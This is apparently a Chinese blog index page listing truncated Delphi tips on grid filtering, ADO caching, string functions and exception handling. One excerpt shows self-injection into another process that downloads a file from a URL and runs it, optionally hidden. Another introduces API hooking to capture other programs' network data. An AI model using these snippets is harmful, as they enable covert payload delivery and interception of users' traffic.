摘要: 1. 先用一般的文书编辑器建好一个 MySet.inc 的普通文本文件 , 内容为 :{$H+}{$DEFINE _Proversion}2.在我们的程序中 , 加入一列 {$I MySet.inc}, 例如 :unit Unit1;{$I MySet.inc}interface…implementation{$R *.DFM}procedure TForm1.Button1Click(Sender: TObject);begin{$IFDEF _ProVersion}ShowMessage(' 专业版 ');{$Else}ShowMessage(' 只有专业版才有此功 阅读全文
posted @ 2013-04-28 14:02 小天1981 阅读(275) 评论(0) 推荐(0) 编辑
摘要: 1、选择相应的过滤项目,然后直接就过滤,无需要再点一下回车 initialization DBGridEhCenter.FilterEditCloseUpApplyFilter := True;2、以前版本的过滤字串都是模糊过滤了,可是最近发现变成的匹配了。 会对 EhLib 5.0 Build 5.0.13 Russian version 版修改 DBUtilsEh.pas 文件的第927行function VarValueAsFilterStr(v: Variant): String; begin if VarType(v) = varDouble then Result := Float 阅读全文
posted @ 2013-04-28 13:31 小天1981 阅读(277) 评论(0) 推荐(0) 编辑
摘要: 其实也就是用烂了的远程注入法。不过注入的对象不是一个DLL,而是本身的一个过程。program InjectTheSelf;{$IMAGEBASE $13140000}uses Windows, Urlmon;procedure Download; //下载过程beginURLDownloadToFile(nil, '下载的URL', '本地文件路径', 0, nil);WinExec('本地文件路径', SW_SHOW); //SW_SHOW or SW_HIDEend;varhModule, hModule_News: Pointer;Ext 阅读全文
posted @ 2013-04-28 13:24 小天1981 阅读(201) 评论(0) 推荐(0) 编辑
摘要: 有时候我们需要对其它应用程序发送和接收的网络数据进行拦截,比如要对IE发送的HTTP头进行分析,得到请求的地址等.这次我们可以用一些例如WPE, Sniffer之类的工具来达到目的.但是工具功能有限,要想实现更强大的功能,还是我们自己动手来DIY吧.拦截网络数据封包的方法有三种,一是将网卡设为混杂模式,这次就可以监视到局域网上所有的数据包,二是HOOK目标进程的发送和接收的API函数,第三种方法是自己实现一个代理的DLL.在这里我们使用HOOK API的方法,这样易于实现,而且也不会得到大量的无用数据(如第一种方法就会监视到所有的网络数据).下面是一个尽量简化了的API HOOK的模版,原理是 阅读全文
posted @ 2013-04-28 13:21 小天1981 阅读(231) 评论(0) 推荐(0) 编辑
摘要: 在开发 C/S 应该程序的时候,有时为了程序的运行提高效率。需要使用 缓存功能;//ADO组件需要把 ADOQuery1.LockType:=ltBatchOptimistic; ADOQuery1.CacheSize:=1000; ADOQuery1.CursorLocation:=ctStatic; //开启缓存,这时内容存在内存中 // 如果想保存在硬盘文件需要用 ADOQuery1.LoadFromFile(); ADOQuery1.SaveToFile(); // 来处理文件 //这样数据处理就在本地进行了,减少了网络传送//然后用ADOQuery1.Update... 阅读全文
posted @ 2013-04-28 13:18 小天1981 阅读(288) 评论(0) 推荐(0) 编辑
摘要: 1、function Comparastr (const s1,s2: string):Integer; 比较两字符串,区别大小写; 注:由于此函数操作是基于每个条件的8位序数值,所以返回的结果,如果 s1<s2 就返回小于0 如果相等就为 0 返回就大于零; 众所周知,DELPHI语言不区分大小写,但是有的时候,在设计密码登录时为加强安全性而需要区分;funcgtioncheckpassword(s1:string):boolean;begin Result := CompareStr(s1,'Joe')=0 ;end; 有一个类似的函数function SameTex 阅读全文
posted @ 2013-04-28 13:18 小天1981 阅读(201) 评论(0) 推荐(0) 编辑
摘要: 服务器端程序 服务器端程序实际上是个COM 工程,它本身连接数据源,再通过接口与客户端联系,这个COM 工程必须注册在服务器上。 首先建立一个空白的工程。 file -> New -> Other -> Multitier -> Remote Data Module(远程数据模块) 对话框: Coclass Name : COM程序的名称,前台依据这个名字查找COM程序 (Project121) Instancing :执行模式,大部分用Multiple Instance(多重实例) Threading Model:线程模式,建议用Apartment(单元) 下面我们就 阅读全文
posted @ 2013-04-28 13:14 小天1981 阅读(263) 评论(0) 推荐(0) 编辑
摘要: /////////////////挂起,不占CPUsleep//////////////////不挂起,占cpuprocedureDelay(msecs:integer);varFirstTickCount:longint;beginFirstTickCount:=GetTickCount;repeatApplication.ProcessMessages;until((GetTickCount-FirstTickCount)>=Longint(msecs));end;//////////////////////////////////////////定时器proceduretimerf 阅读全文
posted @ 2013-04-28 13:13 小天1981 阅读(702) 评论(0) 推荐(0) 编辑
摘要: 本例演示了全局的异常捕获及处理, 并模拟激发了一个异常; 编译后, 单独运行一下生成的程序文件...本例效果图:代码文件:unitUnit1;interfaceuses Windows, Messages, SysUtils, Variants, Classes, Graphics, Controls, Forms, Dialogs, StdCtrls;typeTForm1 =class(TForm) Button1: TButton; procedureButton1Click(Sender: TObject); procedureFormCreate(Sender: TObject... 阅读全文
posted @ 2013-04-28 13:08 小天1981 阅读(439) 评论(0) 推荐(0) 编辑
摘要: //获取版本号 functionGetFileVersion(FileName:string):string; typePVerInfo=^TVS_FIXEDFILEINFO; TVS_FIXEDFILEINFO=recorddwSignature:longint; dwStrucVersion:longint; dwFileVersionMS:longint; dwFileVersionLS:longint; dwFileFlagsMask:longint; dwFileFlags:longint; dwFileOS:longint; dwFileType:longint; dwFileSu 阅读全文
posted @ 2013-04-28 13:08 小天1981 阅读(419) 评论(0) 推荐(0) 编辑